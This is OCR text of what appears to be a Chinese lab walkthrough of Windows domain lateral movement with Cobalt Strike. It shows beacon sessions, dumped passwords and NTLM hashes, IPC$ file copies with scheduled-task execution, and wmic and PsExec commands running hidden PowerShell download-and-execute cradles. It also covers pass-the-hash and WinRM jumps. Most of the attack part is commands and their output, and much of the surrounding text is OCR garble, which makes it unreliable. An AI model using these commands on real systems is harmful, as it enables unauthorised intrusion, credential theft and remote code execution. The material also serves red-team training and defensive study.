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10.211.55.2 VPS_CS_TeamServer BERRH : S8
39.100 Windows 7 +  Windows Server 2012
192.168.200.222 102 166.200.66
10.211.66.5 - :

dassannnnnnnnn

1.2 MEHIR

Windows 7 BkRR#1l (192.168.200.222. 10.211.66.5) XMW KA E MLl 5 A M=
B, Windows server 2012 B#r#E4l (192.168.200.66) A~ H M,

1.3 @R

EEBITBEMNLZRENWIin 7(192.168.200.222)IWNBEHELEMAT MW, AL
HCSHRXNIRAERE,

Cobalt Strike
Cobalt Strike #ME X S MWE
DR O E=Z¢ 8L w0 Pa Ba
external internal = .Iistener user computer note process .pu:l arch last

192.168.200.222 Beacon HTTP... pp powershell.exe 3464

HiEX | Beacon 192.168.200.222@3464 X | FEEEX

beacon> sleep 1

[#] Tasked beacon to sleep for 1s

[+] host called home, sent: 16 bytes
beacon> net view

[#] Tasked beacon to run net view

[+] host called home, sent: 104584 bytes
[+] received output

List of hosts:

Server Name IP Address Platform Version
DC 192.168.200.66
PPBIBO-PC 192.168.200.222

Comment

[PPBIBO-PC] ppbibo/3464 (64

beacon>

last: 676ms
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BIREMNEZLIMEAWIn 7(192.168.200.222) kiR N B9 ZFEE X EIE, XBEEH A

MIAXEILE, FRREINAZEZEARSXENERERZSEXE, LEXERLEZTAES
SJAMRIE THEBEBHN—LEZIL,

LK ] Cobalt Strike

external internal = computer
22274  192.168.200.22: Beacon HTTP... ppbibo PPBIBO-PC

last

303ms

B3X | Beacon 192.168.200.222@3464 X | EEEEX |

user password realm note source host added
Administrator Hacker@l. AL

ELEL 192.168.200.222 06/01 18:05:05

Add || Edit || copy [ Export || Remove || ) |

o0 e Cobalt Strike

external internal = listener process pid

222.72 192.168.20... Beacon HTT... ppbibo PPBIBO-PC powershell.... 3464

BEX | Beacon 192.168.200.222@3464 X | RIEEBX |
user password realm note source host added
Administrator Hacker@1. 5t WEGITEL 192.168.200.222 06/01 18:05:05

HIN—D Win 7(192.168.200.222) kiR LB S IF 22 A SE M P S 1E.
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external internal - listener computer process
222.72@ 192.168.2... Beacon HT PPBIBO-PC powershel...
# Abeacon

w7 ’
BiR

e B}l socks server |
s || T |

& " Deploy VPN

pid
3464

BEX | Lrsx | mEEex |

name payload host port bindto beacons profile

Beacon HTTP p... windows/beacon_http/reverse_... 39.1004» 8081 default
msfconsole windows/foreign/reverse_http 39.100. 4444

LU ] ] —

external internal -  listener user computer  note process pid last
222,72 @D 192.168.2... Beacon HT... ppbibo PPBIBO-PC powershel... 3464 b 215ms

[ JON Edit Listener
BERRRAFAEARPHEBeaconRiFMN S,

aF win7 RS HEHRH
Payload:  windows/beacon_reverse_tcp -
Listen Host: |192.168.200.222 |

BEX I WNFEEX | Listen Port: (4444 .
name = pavload &iF |ppbih via 192.168.200-22203464 I i beacons | pr°ﬂ|e
Beacon HTTP p... windows T 39.100. default
msfconsole windows, E s

win7P¥ERkiRYl  windows/bea

ERARSXHERM,
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Cobalt Strike

] o BE Ca B S

external internal -~  listener user computer note process pid
222,72/ 192.168.2... Beacon HT... ppbibo PPBIBO-PC powershel... 3464

Vindows Executable (Stageless

ERFTRSHETHTWindows KD, EFikSBeacons
HiRWindowsPTiITXF, fERCobalt Strike Arsenal

50788 (win7 REERLIRA | —
@ Windows EXE -]
x64: ¥ {#Fx64 payload

.E'EX | HEOTEEX | m sign:  ["]Sign executable file

name = payload —Genera!; _]Em dto |beacons profile
Beacon HTTP p... WINAOWS/umswssmissprssrmron_me — wwan veua 39.100 default
msfconsole windows /foreign /reverse_| http 39.1( 4444

win7 PEsBkiRHl  windows/beacon_reverse_tcp 192.168.200.2...

Tips: B A Win 2012(192.168.200.66) B tn #1 1 1 2 B AT LA 2 8 Wl 375 0 B9 6 32 =
1% o

02 1PCS$ 8& ITHESS

2.1 FIR&EH

1) ZREZXEAIPCSERE. 139M445im 0. R{EABFAIEEFEHFARKMELIPCS,
2) Bl AR THXNIPCSRS .

3) FEEMNBNEERKSMEDL (IPCSZTEEIRI) .

4) FEBMEmMNB[IPHIUH T EHER

2.2 IAAR

£ CS EFImIWIn 7(192.168.200.222) R iF#H TR E.

3 Win 2012(192.168.200.66)BinENEILHEZEE, HEEEWBEINEEZRE.
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beacon> shell net use \\192.168.200.66 /user:administrator "Hacker@l."
beacon> shell net view \\192.168.200.66

beacon> shell net use \\192.168.200.66 /user:administrator "Hacker@l."

[*] Tasked beacon to run: net use \\192.168.200.66 /user:administrator "Hacker@l."
[+] host called home, sent: 87 bytes

[+] received output:

 TRINTERK .

beacon> shell net view \\192.168.200.66

[*] Tasked beacon to run: net view \\192.168.200.66
[+] host called home, sent: 56 bytes

[+] received output:

7£ \\192.168.200.66 BYLEHE

HER XE (EBRH R

C Disk

NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
D LHINTERL .

SIEBEMEN C ETTERXH.

beacon> shell dir \\192.168.200.66\C$

beacon> shell dir \\192.168.200.66\C$

[*] Tasked beacon to run: dir \\192.168.200.66\C$
[+] host called home, sent: 54 bytes

[+] received output:

IXEI2% \\192.168.200.66\C$ HFHEIEBIRE.
ENFTISE CA71-16AE

\\192.168.200.66\C$ RIEX

2012/07/26 15:44 <DIR> PerflLogs
2012/07/26 15:14 <DIR> Program Files
2020/05/03 01:47 <DIR> Program Files (x86)
2020/04/19 15:33 <DIR> Users
2020/05/03 13:52 <DIR> Windows

0 XY 0 F1

5 T"B% 263,709,130,752 aJH=FET
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KFCSARE EEFIBERAL

beacon> upload /root/demo.exe (C:\Users\ppbibo\AppData\Local\Temp\demo.e>

¥Win 7(192.168.200.222) kRl RS X copyEIWin 2012(192.168.200.66)
BEWMRINWCHEERT,

beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.

beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$

[*] Tasked beacon to run: copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$
[+] host called home, sent: 99 bytes
[+] received output:

e85 1 X%,

beacon> shell dir \\192.168.200.66\C$

[*] Tasked beacon to run: dir \\192.168.200.66\C$
[+] host called home, sent: 54 bytes

[+] received output:

IX%NE: \\192.168.200.66\C$ HEZHEITE.
EMFYSE CA71-16AE

\\192.168.200.66\C$ RIEZ

2020/06/02 09:50 288,256 demo.exe
2012797726 15:44 <DIR> PertLogs
2012/07/26 15:14 <DIR> Program Files
2020/05/03 01:47 <DIR> Program Files (x86)
2020/04/19 15:33 <DIR> Users
2020/05/03 13:52 <DIR> Windows

1 ™4 288,256 F1

5 "EF 263,707,283,456 nJHET

[PPBIBO-PC] ppbibo/3464 (x64)
beacon>

EREBEWIn 2012(192.168.200.66) Bt MIESHIT ARSI XHE.

beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p '"Hac
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" /sc MINUTE /mo 1 /tn test /tr "C:\\demo.exe"
/sc MINUTE /mo 1 /tn test /tr "C

beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@l.
schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@l."

[+] Tasked beacon to run

\\demo.exe"
[+] host called home, sent: 142 bytes

[+] received output
AIh: REIDEIERITRIES “test”,

[PPBIBO-PC] ppbibo/3464 (x64) last: 215

HF at fEwindows server 20125 IR EZARPERFTH, FRLEEMFEHH schtasks
wEeRE.

Ap
| EER: C\Windows\system32\cmd.exe - = -

Microsoft Windows [fR# 6.2.9200]
{c) 2012 Microsoft Corporation., {}

C:\Users\ﬁdministrator)at
ST FEAH. 1EM A schtasks.exe.

C:\Users\Administrator>

W

MRBTIEE at <, 2ZUT,

net time \\192.168.200.66
at \\192.168.200.66 11:05 c:\demo.exe

BINLEs, ZREARDER, FEEFNAEE, URPENTIENE, ZIEELR
Wi 3=
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Cobalt Strike

Cobalt Strike #E I RS #Bh
O O E=¢ 82U CwBD fa B §

external internal ~ listener user computer note process pid arch last
T®. 192.168.200.222 cooo 192.168.200.66 Beacon ... administ.. DC demo.exe 3304

88 222.72 192.168.200.222 Beacon ... ppbibo PPBIBO-... powers... 3464 x64 569ms

BEX | W07sX | E@ESX | Beacon 192.168.200.222@3464 X | Beacon 192.168.200.66@3304 X

[+] established link to parent beacon: 192.168.200.222
beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 37 bytes

[+] received output

hacker\administrator

2.3 IPC tHxM &<

FR/XHA ipc$ H=,

net share ipc$

net share ipc$ /del

& C &.

iok

7N\

net share C=c:\

BEE/MBEHAENER.

net share

net share C /del

BUBIPCZE E#,

net use x /del /y
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WMI

WMI(Windows Management Instrumentation, Windows&EEMT)E — IR
ZIODBEWindowsEEBREAR; BFRFAIMERAWMIER AR nEITEN.,

3.1 MAEH

1) BeIWMIRRS (BRIAFE) .

2) F®135im 0.,

3.2 MAABKAN

£ CS BEFmXIWin 7(192.168.200.222)RI1EHTIRE.
FAHACSE M —1TWEBXE=R Payload (Scripted Web Delivery) XML X 4%

ks,

Cobalt Strike #ME X |E Wi
O O E=o a,rU @b‘ |€. "o

external internal ~ listener user computer note process  pid arch last

< 222.72. 000 192.168.200.222 Beacon ... ppbibo PPBIBO-... powers... 3464 x64

@ Scnpled Web Dellvery (S)

Cobalt Strlke payload The prowded one- I|ner will
allow you to quickly get a session on a target host. -

URLEE® |/a |
E#ibht (39.100. |
o [7799 |

| 1 & & | B,
wrEx | Beacol LVFE: [win 7 sREEBkRANL |- 13204 X

[+] received output -3l [powershell
hacker\administrator

x64: v {#Fx64 payload
beacon> hashdump

Tasked beacon to du

[+] host called home, s ( (
|+| recelved password h Frig | Ry |

£ ey Payload,

powershell.exe —-nop -w hidden -c "IEX ((new-object net.webclient).downloc

£CS EFIHHIT wmic EEHZL .,
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Tips: BB ENFLENAUEZEENE http://39.100.x.x:7799/a _FHjpayload, &

B FRAELRRVNAEWEBRS, ZFN FEHAITHKYN LAIPayload, L4
CS.

Bl ZET python BT T REFEWEBRS.

beacon> shell python -m SimpleHTTPServer 8080

beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hack

beacon> shell python -m SimpleHTTPServer 8080

|*] Tasked beacon to run: python -m SimpleHTTPServer 8080

[+] host called home, sent: 62 bytes

beacon> rportfwd 4444 windows/beacon_reverse_tcp

[#] Tasked beacon to accept TCP Beacon sessions on port 4444

[+] host called home, sent: 10 bytes

beacon> upload /Users/liuxueshuo/Desktop/payload.txt (C:\tools\payload.txt)

[*] Tasked beacon to upload /Users/liuxueshuo/Desktop/payload.txt as C:\tools\payload.txt

[+] host called home, sent: 216131 bytes

[+]1 host called home, sent: 26 bvtes

beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hacker@l. process call create "powershell.exe -nop -w
hidden -c IEX ((new—object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"

[*] Tasked beacon to run: wmic /node:192.168.200.66/user:administrator /password:Hacker@l. process call create “powershell.
exe —nop —w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"
[+] host called home, sent: 241 bytes

[+] received output

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of __PARAMETERS

{

ProcessId = 972;
ReturnValue = 0;

};
[PPBIBO-PC] ppbibo */2992 (x64) last: 307ms
loacop> ... |
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Cobalt Strike
Cobalt Strike B B BE %HEh
DR N H=Z¢ B8 PLU e BE & =N

e

- |

ppbibo * Administrator *
PPBIBO-PC @ 2992 DC @ 3252

HiEX | Beacon 192.168.200.222@2992 )(| Beacon 192.168.200.66@972 X

[+] established link to child beacon: 192.168.200.66
lost link to child beacon: 192.168.200.66
beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hacker@l. process call create “powershell.exe -nop -w
hidden —-c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt’'))"
[#] Tasked beacon to run: wmic /node:192.168.200.66/user:administrator /password:Hacker@l. process call create "powershell.
exe -nop —w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt"'))"
[+] host called home, sent: 241 bytes
[+] received output
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __ PARAMETERS
{
ProcessId = 3252;
ReturnValue = 0;

bH
[+] established link to child beacon: 192.168.2080.66

[PPBIBO-PC] ppbibo /2992 (x64) last: 1s

PIN E% .,

£ windows server 2012 &1,

$s—hew—hb joc ) MemoryStrean(, [Convert]::FromBase64Stiring ("Hds 1A qus

P

R CWincdowrpien S e

i [PYFEL StyATrl

Tips: wmicip LRRLEIE, BEEoBAEMM A (wmiexec.vbs)K L] [o] Z L) BE,
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PsExec

PsExecR —MEITMtelnetE R m, AJiLBEEMAFTLRITHE, FAAHEFSE
NARFRETBZNRENE, MEFTFILEE,WRHE.

C 0O @ docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

Installation

Just copy PsExec onto your executable path. Typing "psexec” displays its usage syntax

ListDLLs
Portmon
ProcDump Using PsExec
Process Explorer
See the July 2004 issue of Windows IT Pro Magazine for Mark's article that covers advanced usage of
Process Monitor
PsExec.
PsExec
PsGetSid Usage: psexec [\\computer[,computer2[,...] | @file\]][-u user [-p psswd][-n s][-r servicename][-h][-]]
Pkl [-s]-el[-x][-i [session]][-c executable [-f|-v]][-w directory][-d][-<priority>][-a n,n,...] cmd
[arguments]
PsList

beacon> shell psexec.exe \\192.168.200.66 —u Administrator -p Hacker@l. v

beacon> shell PsExec.exe \\192.168.200.66 -u Administrator -p Hacker@l. whoami

|*] Tasked beacon to run: PsExec.exe \\192.168.200.66 -u Administrator -p Hacker@l. whoami
[+] host called home, sent: 95 bytes

[+] received output

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

dministratorConnecting to 192.168.200.66...Starting PSEXESVC service on 192.168.200.66...Connecting with PsExec
E8rvVicte on 19Z.168.200.66...5tarting whoami on 192.168.200.66...
whoami exited on 192.168.200.66 with error code 0.

[PPBIBO-PC] ppbibo %/2992 (x64) last: 477ms

beacon> shell psexec.exe \\192.168.200.66 —u Administrator -p Hacker@l. ¢

https://mp.weixin.qq.com/s/iwZtY-tToONRQYRi_qRQwjg 13/20
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Cobalt Strike

CobaltStrike ME Kifi HE W
DR O EH=¢ 8 PU G0 sa B

axtarnal internal = listanar Lsar comnputer note NrOCASS nic arch last

T®. 192.168.200.222 ocoo 192.168.20... Beacon HT... Administra... DC .. 3460
Y 222.72. 192.168.20... Beacon HT... ppbibo * PPBIBO-PC beacon.exe 2992 xb4 1s

Hi&X | Beacon 192.168.200.222@2992 X | Beacon 192.168.200.66@972 X

beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@l. powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))

|*] Tasked beacon to run: psexec.exe \\192.168.200.66 -u Administrator -p Hacker@l. powershell.exe -nop -w hidden -c IEX
((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))

[+] host called home, sent: 212 bytes

[+] received output

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

[+] established link to child beacon: 192.168.200.66

[PPBIBO-PC] ppbibo #*/2992 (x64) last: 1s

beacon> shell

Tips: psexec & CHI T ERXMRKSI EZMEIR “REHTFIEEHX M HIF

1% o

Psexec ™ & il :
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
B2 E:

https://www.itprotoday.com/compute-engines/psexec

4.1 CS Psexec_psh hash{&i&

RUMBBMAAARAZEBRATUNINABAXY, sHIRABhashiyi5k, KB hash@#F ]
M TROERE.

HA#HTWIiFititFRBIPRE TN TEWL,

Windows 7 BEARHL (172.16.100.176. 10.211.66.5) WWET Wt TE5E R W ZE
B, Windows server 2012 BH#r&EHl (172.16.100.60) AT HW .,

https://mp.weixin.qq.com/s/iwZtY-tToONRQYRi_qRQwjg 14/20



2020/7/27 VA A [ B B2 5] T i
Cobalt Strike
Cobalt Strike #1E & R #B

OB O EH=¢ B8 PU B0 /e B S

external internal -~ listener user com... note process  pid arch last

172.16.100.176 Beacon HTTP... liuxues... 3404 x86 18m

E|,=5x| Beacon 172.16.100.176@3404 X | EiEEREX
beacon> sleep 0
[*] Tasked beacon to become interactive
beacon> net view
[*] Tasked beacon to run net view
beacon> rportfwd 4444 windows/beacon_reverse_tcp
[*] Tasked beacon to accept TCP Beacon sessions on port 4444
[+] host called home, sent: 87634 bytes
[+] received output
List of hosts:

Server Name IP Address Platform Version Type Comment

MACBOOKPRO-B483 172.16.100.142 . PpBibodeMacBook Pro
PPBIBO-PC 172.16.100.176

Cobalt Strike
Cobalt Strike #E X R #E

BE O E=S¢ B8U SGwBERN Pa B $

address = name note

172.16.100.60 DC

M 172.16.100.142 NI psexec

W% 172.16.100.176 | 13 | psexec64
Lt Ml psexec_psh )

E#H »|ssh
= ssh-key -
BEX | Beacon 172.16.100| yinrm ( ‘ FERERX ‘
beacon> sleep 0 winrmé4

[*] Tasked beacon to becoMerarceraccive
beacon> net view
[%] Tasked beacon to run net view
beacon> rportfwd 4444 windows/beacon_reverse_tcp
[}l [+] Tasked beacon to accept TCP Beacon sessions on port 4444
[+] host called home, sent: 87634 bytes
[+] received output:
il List of hosts:

i Server Name IP Address Platform Version Type Comment

il MACBOOKPRO-B483 172.16.100.142 PpBibodeMacBook Pro
l PPBIBO-PC 172.16.100.176

https://mp.weixin.qq.com/s/iwZtY-tToONRQYRi_qRQwjg 15/20
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Cobalt Strike & K RE #HEY
OO O E=Z¢e B8I,PUGebBD o B G

address =~ name note

‘" 172.16.100.60 DC

B8 172.16.100.142 MACBOOKPRO...
W® 172.16.100.176 PPBIBO-PC

psexec_psh
user password realm note
T T T DC -
‘E‘FFX — Administrator Hacker@1. hacker Z bt
= Guest 5a5b15969716d... PPBIBO-PC

ﬁ:kzseggagon | pobibo 53e8c3b68f280f... PPBIBO-PC
| > net view Guest 31d6cfe0d16ae9... DC
[] Tasked beacon 1§

beacon> rportfwd 44 Administrator e86¢25e7abccfcf... Hacker
[*] Tasked beacon 1 : —
[+] host called horRilmcENGCLUUINIEICT

[+] received '[@@: le86c25e7abccfcfIe90c5a42d1ded678

List of hosts:

Domain: |Hacker

Server Name :
__________ [ WSOF2%:  |win 7 FhEE

MACBOOKPRO-B483 P . = = ; pMacBook Pro
PPBIBO-PC =15 ppbibo * via 172.16.100.176@3404 | i

beacon> hashdump  |RCIEELIEEISRIDEZL -
[*] Tasked beacon ( — [ — |

Cobalt Strike
Cobalt Strike ME ¥E BE HE
DR N EH=Z¢ a8 PU Bl da B G

external internal = listener user computer note process pid arch last

T®. 172.16.100.176 cooo  172.16.100.60 Beacon HTTP p... SYSTEM * : x86 4s
" 101.229 172.16.100.176 Beacon HTTP p... ppbibo * PPBIBO-... liuxueshu... 3404 x86 169...

Hi&X | Beacon 172.16.100.176@3404 X | fX#E{EEX | Beacon 172.16.100.60@568 X

[+] Impersonated ppbibo-PC\ppbibo
[+] received output
Started service 9834cae on DC
[+] established link to child beacon: 172.16.100.60
[+] received output
user : Administrator
domain : Hacker
program : C:\Windows\system32\cmd.exe /c echo cb87bbf53fc > \\.\pipe\876708
impers. : no
NTLM : eB6c25e7abccfcf9e90c5a42d1ded6f8
| PID 3172
| TID 996
| LSA Process is now R/W
| LUID @ ; 7449875 (00000000:0071adl3)
\_ msvl_ - data copy @ 00000000005061D0 : OK !
\_ kerberos - data copy @ 000000000116AE48
aes256_hmac => null
aesl28_hmac -> null
rc4_hmac_nt 0K
rc4_hmac_old 0K
rcd_md4 0K
rc4_hmac_nt_exp OK
rcd_hmac_old_exp OK
*Password replace @ 00000000004DE3C8 (16) -> null

////l////

[PPBIBO-PC] ppbibo */3404 last: 169ms
[beacon>|

RIh £,
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WinRM

WinRM EH 2 Windows ZiEEERS, B3 nfEEEwinRMEIR T £ %E
windows®m <17, BIAKIFIFEO5985 (HTTP) &5986 (HTTPS), 2012 & A

FEINFFE

XEWNHEHRENESFE windows server 2012, TTWTF

winrm service .

winrm enumerate winrm/config/listener

(i

BERAdRBRAT

= EIES: C\Windows\system32\cmd.exe

C:\Users\Administrator>winrm enumerate winrm/config/listener
Listener

Address = x

Transport = HTTP

Port = 5985

Hostname

Enabled = true

URLPrefix = wsman
| CertificateThumbprint

C:\Users\Administrator>

5.1 BAAR

CSEHF T —LHTHEBNINEE, IUNEERPERENHITHRE.
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- I

ListeningOn = 127.0.0.1, 192.168.200.66, ::1, fe80::5efe:192.168.200.66%15
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Cobalt Strike & RS HEh

A B ) A8 Bl 2] e ik
Cobalt Strike

OO O EH=S¢ BELPU el e B G

address = name

note

19216820006 __ump, PSRSENR

F® 192.168.200.222

=L
RS
EM

Administrator *@1636 ' | psexec64

psexec_psh
ssh
ssh-key

[winrmn I

winrm64

-

a -

BEX

sk initial beacon
BMBEER

initial beacon

initial beacon

initial beacon
BMBEER
BMEH B

< 1nitial beacon

< initial beacon

initial beacon

initial beacon

initial beacon

initial beacon

sk initial beacon

[e6/05 16:15] FEMEBR

event>
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fred x@10.0.7.180 (MANDY-HOME)

Administrator %@192.168.200.66 (DC)
ppbibo %@192.168.200.222 (PPBIB0-PC)
Administrator %@192.168.200.66 (DC)

Administrator %@192.168.200.66 (DC)
ppbibo@192.168.200.222 (PPBIBO-PC)
administrator %@192.168.200.66 (DC)
Administrator %@192.168.200.66 (DC)
Administrator %@192.168.200.66 (DC)
Administrator *@192,168.200.66 (DC)
Administrator x@192.168.200.66 (DC)
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winrm
user password realm note
B oot remivuncce . DC
N e e e DC
Guest 31d6cfe0d16ae9... DC
' DC
Administrator e86c25e7abccfcf... DC

AF%Z: |Administrator \
T R 'Hacker@1. \

_ Domain: lhacker \ L

b WIR2E: |win 7 gt ‘ l_’

2%  |ppbibo * via 192.168.200.222@2992
[ ERNFIRIFENIHESHE

Cobalt Strike
Cobalt Strike 1B K& BE %BEH
Oa O EH=¢ 682,L dewlBE0 /e B G

external internal = listener User computer note nrocess pid arch last

BR 222.72. 192.168.20... Beacon HT... ppbibo * PPBIBO-PC beacon.exe 2992 x64 1s

HiX | Beacon 192.168.200.222@2992 X | Beacon 192.168.200.66@3756 X

[+] established link to parent beacon: 192.168.200.222
beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 37 bytes

[+] received output

hacker\administrator

[DC] Administrator */3756 last: 965ms

beacon>| |
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